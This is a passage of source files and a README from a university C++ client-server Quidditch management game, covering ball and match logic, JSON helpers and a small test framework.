"is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2839, "license_type": "permissive", "max_line_length": 118, "num_lines": 103, "path": "/src/common/models/Budger.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Budger.h\"\n\nusing namespace std;\n\nBudger::Budger(): Ball(4), hitWay_() {\n srand(time(NULL));\n}\n\nBudger::Budger(int speed, Position position): Ball(speed, position) {}\n\nBudger::Budger(JsonValue * json) {\n\n JsonDict * ball_dict = JDICT(json);\n if (ball_dict == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * speed_int = JINT((*ball_dict)[\"speed\"]);\n if (speed_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n int speed = *speed_int;\n\n JsonList * position_list = JLIST((*ball_dict)[\"position\"]);\n if (position_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * x_int = JINT((*position_list)[0]);\n JsonInt * y_int = JINT((*position_list)[1]);\n\n if (x_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n if (y_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n Position position;\n position.x = *x_int;\n position.y = *y_int;\n\n new (this)Budger(speed, position);\n}\n\n\nBudger::~Budger() {}\n\nPosition Budger::autoMove(const Case grid[WIDTH][LENGTH]) {\n Position nextPosition;\n int next = rand() % 6;\n nextPosition = nextCase(position_, next, grid);\n if (grid[nextPosition.x][nextPosition.y].type == USABLE) {\n if (grid[nextPosition.x][nextPosition.y].ball == 0) {\n return nextPosition;\n }\n }\n for (int i = 0; i < 5; i++) {\n next = (next + 1) % 6;\n nextPosition = nextCase(position_, next, grid);\n if (grid[nextPosition.x][nextPosition.y].type == USABLE) {\n if (grid[nextPosition.x][nextPosition.y].ball == 0) {\n return nextPosition;\n }\n }\n }\n return position_;\n\n}\n\nvoid Budger::isHit(const char direction, const int power, const Case grid[WIDTH][LENGTH]) {\n Way way;\n for (int i = 0; i < power; i++) {\n way.push_back(nextCase(position_, direction, grid));\n }\n hitWay_ = way;\n}\n\nvoid Budger::hitPlayer(Player * player, int power) {\n if (1 == rand() % 20) {\n player->setWoundState(true);\n }\n}\n\nstd::string Budger::getName() {\n return \"B\";\n}\n\nWay Budger::getHitWay() const {\n return hitWay_;\n}\n\nBudger::operator JsonDict() const {\n JsonDict r;\n r.add(\"speed\", new JsonInt(speed_));\n JsonList * position = new JsonList();\n position->add(new JsonInt(position_.x));\n position->add(new JsonInt(position_.y));\n r.add(\"position\", position);\n return r;\n}\n" }, { "alpha_fraction": 0.5964664220809937, "alphanum_fraction": 0.5964664220809937, "avg_line_length": 23.824562072753906, "blob_id": "6735890f6fe8faa84df34c87c262b4fe4d82499f", "content_id": "9884547dfb19104cd36acf9b0010b1737129429b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1415, "license_type": "permissive", "max_line_length": 79, "num_lines": 57, "path": "/src/common/lib/json/helpers.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"helpers.h\"\n\nusing namespace std;\n\nstring getString(JsonDict * dict, string key) {\n JsonString * str_ptr = JSTRING((*dict)[key]);\n if (str_ptr == NULL) {\n throw BadRequest(\"Malformatted Json : missing key : \" + key);\n }\n\n return (string) * str_ptr;\n}\n\nstd::string getString(JsonList * list, int i) {\n JsonString * str_ptr = JSTRING((*list)[i]);\n if (str_ptr == NULL) {\n throw BadRequest(\"Malformatted Json : out of range : \" + to_string(i));\n }\n\n return (string) * str_ptr;\n}\n\nbool getBool(JsonDict * dict, string key) {\n JsonBool * bool_ptr = JBOOL((*dict)[key]);\n if (bool_ptr == NULL) {\n throw BadRequest(\"Malformatted Json : missing key : \" + key);\n }\n\n return (bool) *bool_ptr;\n}\n\nJsonList * getList(JsonDict * dict, string key) {\n JsonList * list_ptr = JLIST((*dict)[key]);\n if (list_ptr == NULL) {\n throw BadRequest(\"Malformatted Json : missing key : \" + key);\n }\n\n return list_ptr;\n}\n\nint getInt(JsonDict * dict, std::string key) {\n JsonInt * int_ptr = JINT((*dict)[key]);\n if (int_ptr == NULL) {\n throw BadRequest(\"Malformatted Json : missing key : \" + key);\n }\n\n return (int) *int_ptr;\n}\n\nJsonDict * castDict(JsonValue * val) {\n JsonDict * dictMessage = JDICT(val);\n\n if (dictMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n return dictMessage;\n}\n" }, { "alpha_fraction": 0.7188940048217773, "alphanum_fraction": 0.7355991005897522, "avg_line_length": 21.842105865478516, "blob_id": "f42b34d7a79ff6573955c976bc5040eecc748e18", "content_id": "9459cde745b7bd7766056e22dad1190146037347", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1756, "license_type": "permissive", "max_line_length": 159, "num_lines": 76, "path": "/README.md", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "# Quiddich Manager 2014\n\nQuiddich Manager 2014 is a university project part of the BA2 cursus in Computer Science at [ULB](http://www.ulb.ac.be/) (Course info-f-209)\n\nThe goal was to write in groups of 6 (our was 3) a client-server multiplayer Quiddich game in C++ with no external libs (apart for the GUI)\n\n## Team\n* Bruno Rocha Pereira\n* Romain Fontaine\n* Nikita Marchant\n\n# License\n\n The MIT License (MIT)\n Copyright (c) 2013-2014\n [email protected] [email protected] [email protected]\n\n\n\n# How To\n\n##Compilation\n\nDans le dossier root, exécutez la commande:\n\n make\n\n\n##Exécution\n\n###Client\nDans le dossier root, exécutez la commande:\n\n make client\n\nSi vous désirez changez l'host(adresse du serveur), executer la commande ./build/bin/client hostname\n###Serveur\nExécutez la commande:\n\n make server\n\n##Documentation\n###Doxygen\nPour compiler la documentation, exécutez la commande:\n\n make doc\n\nPour l'afficher la documentation, ouvrez le fichier suivant `build/doc/html/index.html`\n\n###Srd\nPour compiler le srd, exécutez la commande:\n\n make srd\n\nPour l'afficher, ouvrez le fichier suivant `srd/srd.pdf`\n\n\nPour nettoyer les fichiers générés par les compilations, exécutez la commande:\n\n make clean\n\n###Divers\nPar défaut, le serveur tourne sur le port 9000. Pour le modifier, appelez le client avec comme premier paramètre le hostname et comme second paramètre le port.\nPour le serveur, modifiez le fichier `serveurconfig.json` .\n\nPour exécutez les tests, allez dans le dossier à tester et exécutez la commande :\n\n make test\n\nPour initialiser le serveur avec des données de test, exécutez la commande :\n\n make init\n\nLes utilisateurs suivant seront donc dès lors disponnibles :\n * 'player1' avec le mot de passe 'pass1'\n * 'player2' avec le mot de passe 'pass2'\n" }, { "alpha_fraction": 0.6399848461151123, "alphanum_fraction": 0.6513656973838806, "avg_line_length": 29.65116310119629, "blob_id": "b52aabbce9e1b5d73d23b135f38d2b9f479d92a7", "content_id": "9e283d8eb3546338b3ad67c8e79412d8ceba9a70", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2636, "license_type": "permissive", "max_line_length": 117, "num_lines": 86, "path": "/src/common/lib/test/libtest.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef LIBTEST_H\n#define LIBTEST_H\n\n#include <vector>\n#include <iostream>\n#include <exception>\n#include <stdexcept>\n\n#define GREEN \"\\e[1;32m\"\n#define RED \"\\e[1;31m\"\n#define PURPLE \"\\e[1;34m\"\n#define WHITE \"\\e[0m\"\n#define YELLOW \"\\e[93m\"\n#define DEL \"\\b\"\n#define BOLD \"\\e[1m\"\n\n#define TEST() int main() {std::vector<func_struct> test_vector = TESTVEC; return test(test_vector); }\n\n#define T(func) {#func, func}\n\ntypedef void (* test_func) (void);\n\nstruct func_struct {\n std::string name;\n test_func ptr;\n};\n\nint test(std::vector<func_struct> testvec);\n\nclass AssertFail: public std::exception {\npublic:\n AssertFail(std::string message, int line, std::string file, std::string func);\n std::string what();\n\nprivate:\n std::string message;\n std::string file;\n std::string func;\n int line;\n};\n\n#define ASSERT(value, message) assert(value, message, __LINE__, __FILE__, __func__)\n//#define ASSERT(value) ASSERT(value, \"\")\n\n#define ASSERT_FALSE(value, message) assertFalse(value, message, __LINE__, __FILE__, __func__)\n//#define ASSERT_FALSE(value) ASSERT_FALSE(value, \"\")\n\n#define ASSERT_NULL(value, message) assertNull(value, message, __LINE__, __FILE__, __func__)\n//#define ASSERT_NULL(value) ASSERT_NULL(value, \"\")\n\n#define ASSERT_NOT_NULL(value, message) assertNotNull(value, message, __LINE__, __FILE__, __func__)\n//#define ASSERT_NOT_NULL(value) ASSERT_NOT_NULL(value, \"\")\n\n#define ASSERT_EQUAL(value1, value2, message) assertEqual(value1, value2, message, __LINE__, __FILE__, __func__)\n//#define ASSERT_EQUAL(value1, value2) ASSERT_EQUAL(value1, value2, \"\")\n\n#define ASSERT_RAISE(function, type, message) \\\n bool exept = false; \\\n try { \\\n function; \\\n } \\\n catch (type) { \\\n exept = true; \\\n } \\\n assert(exept, message, __LINE__, __FILE__, __func__);\n\n\nvoid assert(bool value, std::string message=\"\", int line=-1, std::string file=\"\", std::string func=\"\");\n\nvoid assertFalse(bool value, std::string message=\"\", int line=-1, std::string file=\"\", std::string func=\"\");\n\ntemplate<typename T>\nvoid assertNull(T value, std::string message=\"\", int line=-1, std::string file=\"\", std::string func=\"\") {\n assert(value == NULL, message, line, file, func);\n}\n\ntemplate<typename T>\nvoid assertNotNull(T value, std::string message=\"\", int line=-1, std::string file=\"\", std::string func=\"\") {\n assert(value != NULL, message, line, file, func);\n}\ntemplate<typename T, typename U>\nvoid assertEqual(T value1, U value2, std::string message=\"\", int line=-1, std::string file=\"\", std::string func=\"\") {\n assert(value1 == value2, message, line, file, func);\n}\n\n#endif // LIBTEST_H\n" }, { "alpha_fraction": 0.7534942626953125, "alphanum_fraction": 0.7534942626953125, "avg_line_length": 29.269229888916016, "blob_id": "9a9e243a64be016f13e38f81d870f34499358910", "content_id": "044ec879e3b5646b5b1d1cbc9604159b2f993f82", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 787, "license_type": "permissive", "max_line_length": 63, "num_lines": 26, "path": "/src/client/receive-views/views.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef RVIEWS_H\n#define RVIEWS_H\n\n#include <cstdlib>\n#include <vector>\n\n#include \"../../common/lib/json/json.h\"\n#include \"../../common/lib/json/helpers.h\"\n#include \"../../common/models/NonFieldPlayer.h\"\n\nclass ServerHandler;\n\nnamespace rviews {\nvoid login(JsonValue * message, ServerHandler * handler);\nvoid signup(JsonValue * message, ServerHandler * handler);\nvoid userlist(JsonValue * message, ServerHandler * handler);\nvoid playerlist(JsonValue * message, ServerHandler * handler);\nvoid startMatch(JsonValue * message, ServerHandler * handler);\nvoid challenge(JsonValue * message, ServerHandler * handler);\nvoid endMatch(JsonValue * message, ServerHandler * handler);\nvoid updateMatch(JsonValue * message, ServerHandler * handler);\n}\n\n#include \"serverhandler.h\"\n\n#endif // RVIEWS_H\n" }, { "alpha_fraction": 0.4407009482383728, "alphanum_fraction": 0.4611288607120514, "avg_line_length": 34.86458206176758, "blob_id": "9b99787fb2be427be4ba02c401fc898d32945362", "content_id": "d0aaa938d4179feaa60fef14ed0239ad0f7f3129", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 20690, "license_type": "permissive", "max_line_length": 176, "num_lines": 576, "path": "/src/common/models/Match.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Match.h\"\n\nusing namespace std;\n\nMatch::Match(Club * hostClub, Club * guestClub) {\n score_[0] = 0;\n score_[1] = 0;\n srand(time(NULL));\n clubs_[host] = hostClub;\n clubs_[guest] = guestClub;\n\n goldenSnitch_ = GoldenSnitch();\n quaffle_ = Quaffle();\n budgers_[0] = Budger();\n budgers_[1] = Budger();\n generateGrid();\n ready_[0] = false;\n ready_[1] = false;\n\n}\n\nMatch::Match(Club * hostClub, Club * guestClub, GoldenSnitch goldenSnitch, Quaffle quaffle, Budger budger1, Budger budger2, int score[2], bool endGame) {\n score_[0] = score[0];\n score_[1] = score[1];\n srand(time(NULL));\n clubs_[host] = hostClub;\n clubs_[guest] = guestClub;\n\n goldenSnitch_ = goldenSnitch;\n quaffle_ = quaffle;\n budgers_[0] = budger1;\n budgers_[1] = budger2;\n\n double diameterFactor = 46.0 / 100.0; // Normalement c'est la moitié de la longueur/largeur\n int delta = 1 / 2; //Delta qui permet d'éviter les bugs lors de l'affichage de la matrice\n\n for (int i = 0; i < WIDTH; ++i) {\n for (int j = 0; j < LENGTH; ++j) {\n grid_[i][j].type = USABLE;\n // equation d'une ellipse non centrée : (x-h)²/a² + (x-k)²/b²\n //avec x = i, h et k sont les coord du centre, a et b les demi longueurs de l'ellipse\n double result = pow(i - WIDTH / 2.0, 2) / pow(diameterFactor * WIDTH, 2);\n result += pow(j - LENGTH / 2.0, 2) / pow(diameterFactor * LENGTH, 2);\n if (i % 2 != 0) {\n result -= delta;\n }\n if (result > 1) { //Si on est à l'extérieur de l'ellipse\n grid_[i][j].type = VOID;\n }\n //----------------------------GOALS---------------------------------\n if (i == WIDTH / 2) {\n if (j == LENGTH / 15 + LENGTH / 20 or j == LENGTH * 14 / 15 - LENGTH / 20) {\n grid_[i][j].type = GOAL; //goal central\n }\n }\n else if (i == WIDTH / 2 - WIDTH / 15) {\n if (j == 2 * LENGTH / 15 or j == 13 * LENGTH / 15) {\n grid_[i][j].type = GOAL; //goals latéraux\n }\n }\n else if (i == WIDTH / 2 + WIDTH / 15) {\n if (j == 2 * LENGTH / 15 or j == 13 * LENGTH / 15) {\n grid_[i][j].type = GOAL; //goals latéraux\n }\n }\n }\n }\n\n Position pos = goldenSnitch_.getPosition();\n grid_[pos.x][pos.y].ball = &goldenSnitch_;\n pos = quaffle_.getPosition();\n grid_[pos.x][pos.y].ball = &quaffle_;\n pos = budgers_[0].getPosition();\n grid_[pos.x][pos.y].ball = &budgers_[0];\n pos = budgers_[1].getPosition();\n grid_[pos.x][pos.y].ball = &budgers_[1];\n ready_[0] = false;\n ready_[1] = false;\n}\n\nMatch::Match(JsonValue * json) {\n JsonDict * match = JDICT(json);\n\n if (match == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n Club * hostClub = new Club((*match)[\"hostClub\"]);\n Club * guestClub = new Club((*match)[\"guestClub\"]);\n\n GoldenSnitch goldenSnitch((*match)[\"goldenSnitch\"]);\n Quaffle quaffle((*match)[\"quaffle\"]);\n Budger budger1((*match)[\"budger1\"]);\n Budger budger2((*match)[\"budger2\"]);\n\n JsonInt * score1 = JINT((*match)[\"score1\"]);\n JsonInt * score2 = JINT((*match)[\"score2\"]);\n\n if ((score1 == NULL) || (score2 == NULL)) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int score[] = {*score1, *score2};\n\n JsonBool * endGame_bool = JBOOL((*match)[\"endGame\"]);\n if (endGame_bool == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n bool endGame = *endGame_bool;\n new (this)Match(hostClub, guestClub, goldenSnitch, quaffle, budger1, budger2, score, endGame);\n\n JsonList * grid_list = JLIST((*match)[\"grid\"]);\n if (grid_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n for (int i = 0; i < grid_list->size(); i++) {\n JsonDict * kase = JDICT((*grid_list)[i]);\n if (kase == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n JsonInt * x_int = JINT((*kase)[\"x\"]);\n JsonInt * y_int = JINT((*kase)[\"y\"]);\n if ((x_int == NULL) && (y_int == NULL)) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int x = *x_int;\n int y = *y_int;\n\n grid_[x][y] = Case::fromJson((*kase)[\"case\"]);\n }\n ready_[0] = false;\n ready_[1] = false;\n}\n\nMatch::~Match() {}\n\nvoid Match::generateFieldPlayers() {\n for (int i = 0; i < 2; ++i) {\n for (int j = 0; j < 7; ++j) {\n NonFieldPlayer player = *(clubs_[i]->getTeam()->getPlayer(j));\n teams_[i][j] = FieldPlayer(player, 0, i);\n if (j == 0) {\n teams_[i][j].setRole(KEEPER);\n }\n else if (j > 0 and j <= 3) {\n teams_[i][j].setRole(CHASER);\n }\n else if (j > 3 and j <= 5) {\n teams_[i][j].setRole(BEATER);\n }\n else {\n teams_[i][j].setRole(SEEKER);\n }\n }\n\n }\n}\n\nvoid Match::generateGrid() {\n double diameterFactor = 46.0 / 100.0; // Normalement c'est la moitié de la longueur/largeur\n int delta = 1 / 2; //Delta qui permet d'éviter les bugs lors de l'affichage de la matrice\n\n generateFieldPlayers();\n\n for (int i = 0; i < WIDTH; ++i) {\n for (int j = 0; j < LENGTH; ++j) {\n grid_[i][j].type = USABLE;\n // equation d'une ellipse non centrée : (x-h)²/a² + (x-k)²/b²\n //avec x = i, h et k sont les coord du centre, a et b les demi longueurs de l'ellipse\n double result = pow(i - WIDTH / 2.0, 2) / pow(diameterFactor * WIDTH, 2);\n result += pow(j - LENGTH / 2.0, 2) / pow(diameterFactor * LENGTH, 2);\n if (i % 2 != 0) {\n result -= delta;\n }\n if (result > 1) { //Si on est à l'extérieur de l'ellipse\n grid_[i][j].type = VOID;\n }\n //----------------------------GOALS---------------------------------\n if (i == WIDTH / 2) {\n if (j == LENGTH / 15 + LENGTH / 20 or j == LENGTH * 14 / 15 - LENGTH / 20) {\n grid_[i][j].type = GOAL; //goal central\n }\n else if (j == 2 * LENGTH / 15) {\n grid_[i][j].player = &teams_[0][0];\n }\n else if (j == 13 * LENGTH / 15) {\n grid_[i][j].player = &teams_[1][0];\n }\n else if (j == 7 * LENGTH / 30) {\n grid_[i][j].player = &teams_[0][6];\n }\n else if (j == 23 * LENGTH / 30) {\n grid_[i][j].player = &teams_[1][6];\n }\n else if (j == 5 * LENGTH / 30) {\n grid_[i][j].player = &teams_[0][1];\n\n }\n else if (j == 25 * LENGTH / 30) {\n grid_[i][j].player = &teams_[1][1];\n }\n }\n else if (i == WIDTH / 2 - WIDTH / 15) {\n if (j == 2 * LENGTH / 15 or j == 13 * LENGTH / 15) {\n grid_[i][j].type = GOAL; //goals latéraux\n }\n else if (j == 5 * LENGTH / 30) {\n grid_[i][j].player = &teams_[0][2];\n\n }\n else if (j == 25 * LENGTH / 30) {\n grid_[i][j].player = &teams_[1][2];\n }\n }\n else if (i == WIDTH / 2 + WIDTH / 15) {\n if (j == 2 * LENGTH / 15 or j == 13 * LENGTH / 15) {\n grid_[i][j].type = GOAL; //goals latéraux\n }\n else if (j == 5 * LENGTH / 30) {\n grid_[i][j].player = &teams_[0][3];\n\n }\n else if (j == 25 * LENGTH / 30) {\n grid_[i][j].player = &teams_[1][3];\n }\n }\n else if (i == WIDTH / 2 - WIDTH / 30) {\n if (j == 6 * LENGTH / 30) {\n grid_[i][j].player = &teams_[0][4];\n\n }\n else if (j == 24 * LENGTH / 30) {\n grid_[i][j].player = &teams_[1][4];\n }\n\n }\n else if (i == WIDTH / 2 + WIDTH / 30) {\n if (j == 6 * LENGTH / 30) {\n grid_[i][j].player = &teams_[0][5];\n\n }\n else if (j == 24 * LENGTH / 30) {\n grid_[i][j].player = &teams_[1][5];\n }\n }\n //--------------------------BALLS----------------------------------\n if (j == LENGTH / 2) {\n if (i == WIDTH / 5) {\n grid_[i][j].ball = &budgers_[0];\n budgers_[0].setPosition(i, j);\n }\n else if (i == 2 * WIDTH / 5) {\n grid_[i][j].ball = &goldenSnitch_;\n goldenSnitch_.setPosition(i, j);\n }\n else if (i == 3 * WIDTH / (5)) {\n grid_[i][j].ball = &quaffle_;\n quaffle_.setPosition(i, j);\n }\n else if (i == 4 * WIDTH / 5) {\n grid_[i][j].ball = &budgers_[1];\n budgers_[1].setPosition(i, j);\n }\n }\n }\n }\n\n}\n\nvoid Match::movePlayer(Position fromPos, Position toPos) {\n grid_[toPos.x][toPos.y].player = grid_[fromPos.x][fromPos.y].player;\n grid_[fromPos.x][fromPos.y].player = 0;\n if (grid_[toPos.x][toPos.y].player->hasQuaffle()) {\n if (grid_[toPos.x][toPos.y].type == GOAL) {\n if (toPos.y > WIDTH / 2) {\n score_[0] += 10;\n }\n else {\n score_[1] += 10;\n }\n int j = LENGTH / 2;\n int i = 3 * WIDTH / 5;\n grid_[i][j].ball = &quaffle_;\n quaffle_.setPosition(i, j);\n grid_[toPos.x][toPos.y].player->setHasQuaffle(false);\n }\n }\n}\n\nbool Match::newTurn() {\n Way playerWays[14];\n for (int i = 0; i < 7; i++) {\n playerWays[i] = playerWays_[0][i];\n }\n for (int i = 0; i < 7; i++) {\n playerWays[i + 7] = playerWays_[1][i];\n }\n bool moved = true;\n int turnNumber = 0;\n while (moved && !endGame_) {\n moved = false;\n Position nextPosition[14];\n for (int i = 0; i < 14; ++i) {\n if (playerWays[i].size() > turnNumber + 1) {\n FieldPlayer * player = grid_[playerWays[i][turnNumber].x][playerWays[i][turnNumber].y].player;\n if ((player->getSpeed() > turnNumber) && isCloseCase(playerWays[i][turnNumber], playerWays[i][turnNumber + 1], 0)) {\n if (grid_[playerWays[i][turnNumber + 1].x][playerWays[i][turnNumber + 1].y].player == 0) {\n nextPosition[i] = playerWays[i][turnNumber + 1];\n movePlayer(playerWays[i][turnNumber], playerWays[i][turnNumber + 1]);\n }\n else {\n resolveConflict(nextPosition, playerWays, i, turnNumber);\n }\n moved = true;\n }\n else {\n playerWays[i] = Way();\n }\n }\n }\n moveBalls(moved, turnNumber);\n ++turnNumber;\n }\n for (int i = 0; i < 7; i++) {\n playerWays_[0][i] = Way();\n }\n for (int i = 0; i < 7; i++) {\n playerWays_[1][i] = Way();\n }\n return endGame_;\n}\n\nvoid Match::moveBalls(bool & moved, int turnNumber) {\n //BUDGERS\n Position nextBallPos;\n for (int i = 0; i < 2; ++i) {\n if (turnNumber < budgers_[i].getSpeed()) {\n nextBallPos = budgers_[i].autoMove(grid_);\n grid_[budgers_[i].getPosition().x][budgers_[i].getPosition().y].ball = 0;\n budgers_[i].setPosition(nextBallPos.x, nextBallPos.y);\n grid_[nextBallPos.x][nextBallPos.y].ball = &budgers_[i];\n if (grid_[nextBallPos.x][nextBallPos.y].player != 0) {\n // TODO set direction and power for isHit and hitPlayer.\n if (grid_[nextBallPos.x][nextBallPos.y].player->getRole() == BEATER) {\n int direction = rand() % 6;\n budgers_[i].isHit(direction, grid_[nextBallPos.x][nextBallPos.y].player->getForce(), grid_);\n }\n else {\n budgers_[i].hitPlayer(grid_[nextBallPos.x][nextBallPos.y].player, 0);\n }\n }\n moved = true;\n }\n }\n\n //GOLDENSNITCH\n if (turnNumber < goldenSnitch_.getSpeed()) {\n nextBallPos = goldenSnitch_.autoMove(grid_);\n grid_[goldenSnitch_.getPosition().x][goldenSnitch_.getPosition().y].ball = 0;\n goldenSnitch_.setPosition(nextBallPos.x, nextBallPos.y);\n grid_[nextBallPos.x][nextBallPos.y].ball = &goldenSnitch_;\n if (grid_[nextBallPos.x][nextBallPos.y].player != 0) {\n if (grid_[nextBallPos.x][nextBallPos.y].player->getRole() == SEEKER) {\n endGame_ = true;\n // TODO vérifier pour les 150\n addPoint(grid_[nextBallPos.x][nextBallPos.y].player->isInGuestTeam(), 150);\n }\n }\n moved = true;\n }\n\n //QUAFFLE\n Way quaffleWay = quaffle_.getWay();\n Position quafflePos = quaffle_.getPosition();\n if (quaffleWay.size() > 0) {\n Position nexPos = quaffleWay[0];\n if (grid_[nexPos.x][nexPos.y].ball == 0) {\n grid_[nexPos.x][nexPos.y].ball = &quaffle_;\n grid_[quafflePos.x][quafflePos.y].ball = 0;\n quaffle_.setPosition(nexPos);\n quafflePos = nexPos;\n quaffleWay.erase(quaffleWay.begin());\n }\n else {\n quaffleWay.pop_back();\n }\n quaffle_.setWay(quaffleWay);\n }\n if (grid_[quafflePos.x][quafflePos.y].player != 0) {\n if (grid_[quafflePos.x][quafflePos.y].player->getRole() == CHASER) {\n grid_[quafflePos.x][quafflePos.y].player->setHasQuaffle(true);\n grid_[quafflePos.x][quafflePos.y].ball = 0;\n quaffle_.setPosition(0, 0);\n }\n }\n if (grid_[quafflePos.x][quafflePos.y].type == GOAL) {\n if (quafflePos.y > WIDTH / 2) {\n score_[0] += 10;\n }\n else {\n score_[1] += 10;\n }\n int j = LENGTH / 2;\n int i = 3 * WIDTH / 5;\n grid_[i][j].ball = &quaffle_;\n quaffle_.setPosition(i, j);\n grid_[quafflePos.x][quafflePos.y].player->setHasQuaffle(false);\n }\n\n}\n\nvoid Match::resolveConflict(Position nextPosition[14], Way playerWays[14], int indexOne, int turnNumber) {\n FieldPlayer * playerOne = grid_[playerWays[indexOne][turnNumber + 1].x][playerWays[indexOne][turnNumber + 1].y].player; //joueur sur la case causant la merde\n FieldPlayer * playerTwo = grid_[playerWays[indexOne][turnNumber].x][playerWays[indexOne][turnNumber].y].player; //joueur qui vient foutre la merde\n if (playerOne->getForce() >= playerTwo->getForce()) {\n playerWays[indexOne].insert(playerWays[indexOne].begin() + turnNumber + 1, playerWays[indexOne][turnNumber]); //le joueur le plus faible perd un déplacement(le dernier)\n nextPosition[turnNumber] = playerWays[indexOne][turnNumber];\n }\n else if (playerOne->getForce() < playerTwo->getForce()) {\n int indexTwo = findIndex(nextPosition, playerWays[indexOne][turnNumber + 1]);\n playerTwo->setHasQuaffle(playerOne->hasQuaffle());\n playerOne->setHasQuaffle(false);\n // Faire reculer le joueur qui etait avancé et qui doit retourner à la position précédente\n nextPosition[indexTwo] = playerWays[indexTwo][turnNumber];\n movePlayer(playerWays[indexTwo][turnNumber + 1], playerWays[indexTwo][turnNumber]);\n playerWays[indexTwo].insert(playerWays[indexTwo].begin() + turnNumber + 1, playerWays[indexTwo][turnNumber]); //le joueur le plus faible perd un déplacement(le dernier)\n\n // Faire avancer le joueur qui a gagné\n nextPosition[indexOne] = playerWays[indexOne][turnNumber + 1];\n movePlayer(playerWays[indexOne][turnNumber], playerWays[indexOne][turnNumber + 1]);\n }\n}\n\nint Match::findIndex(Position nextPosition[14], Position position) {\n for (int i = 0; i < 14; ++i) {\n if (nextPosition[i] == position) {\n return i;\n }\n }\n return -1;\n}\n\n\nstring Match::print() { //FOR TEST PURPOSES\n string c = \"\\033[0m\";\n for (int i = 0; i < WIDTH; ++i) {\n if (i % 2 != 0) {\n c += \" \";\n }\n for (int j = 0; j < LENGTH; ++j) {\n if (grid_[i][j].type == USABLE) {\n if (grid_[i][j].player != 0) {\n if (!grid_[i][j].player->isInGuestTeam()) {\n c += \"\\033[1;94m\";\n }\n else {\n c += \"\\033[1;91m\";\n }\n if (grid_[i][j].player->getRole() == KEEPER) {\n c += \"G \";\n }\n else if (grid_[i][j].player->getRole() == CHASER) {\n if (grid_[i][j].player->hasQuaffle()) {\n c += \"P\\\\\";\n }\n else {\n c += \"P \";\n }\n }\n else if (grid_[i][j].player->getRole() == SEEKER) {\n c += \"A \";\n }\n else if (grid_[i][j].player->getRole() == BEATER) {\n c += \"B \";\n }\n c += \"\\033[0m\";\n }\n else if (grid_[i][j].ball != 0) {\n c += \"\\033[1;93m\";\n c += grid_[i][j].ball->getName();\n c += \"\\033[0m\";\n //<< typeid(grid_[i][j].ball).name();\n }\n else {\n c += \"\\u2B21 \";\n }\n\n }\n else if (grid_[i][j].type == GOAL) {\n c += \"\\033[1;32m오\\033[0m\";\n }\n else {\n c += \"\\u2B22 \";\n }\n //cout<< matrix[i][j]<<\" \";\n }\n c += \"\\n\";\n }\n return c;\n}\n\nint * Match::getScore() {\n return score_;\n}\n\nint Match::addPoint(bool guestTeam, int delta) {\n score_[guestTeam] += delta;\n return score_[guestTeam];\n}\n\nvoid Match::getGrid(Case grid[WIDTH][LENGTH]) {\n for (int i = 0; i < WIDTH; i++) {\n for (int j = 0; j < LENGTH; j++) {\n grid[i][j] = grid_[i][j];\n }\n }\n}\n\nClub * * Match::getClubs() {\n return clubs_;\n}\n\nMatch::operator JsonDict() const {\n JsonDict r;\n\n r.add(\"hostClub\", new JsonDict(*(clubs_[0])));\n r.add(\"guestClub\", new JsonDict(*(clubs_[1])));\n r.add(\"goldenSnitch\", new JsonDict(goldenSnitch_));\n r.add(\"quaffle\", new JsonDict(quaffle_));\n r.add(\"budger1\", new JsonDict(budgers_[0]));\n r.add(\"budger2\", new JsonDict(budgers_[1]));\n r.add(\"score1\", new JsonInt(score_[0]));\n r.add(\"score2\", new JsonInt(score_[1]));\n r.add(\"endGame\", new JsonBool(endGame_));\n\n JsonList * grid = new JsonList();\n for (int i = 0; i < WIDTH; i++) {\n for (int j = 0; j < LENGTH; j++) {\n if (grid_[i][j].player != NULL) {\n JsonDict * kase = new JsonDict();\n kase->add(\"x\", new JsonInt(i));\n kase->add(\"y\", new JsonInt(j));\n kase->add(\"case\", new JsonDict(grid_[i][j]));\n grid->add(kase);\n }\n }\n }\n r.add(\"grid\", grid);\n\n return 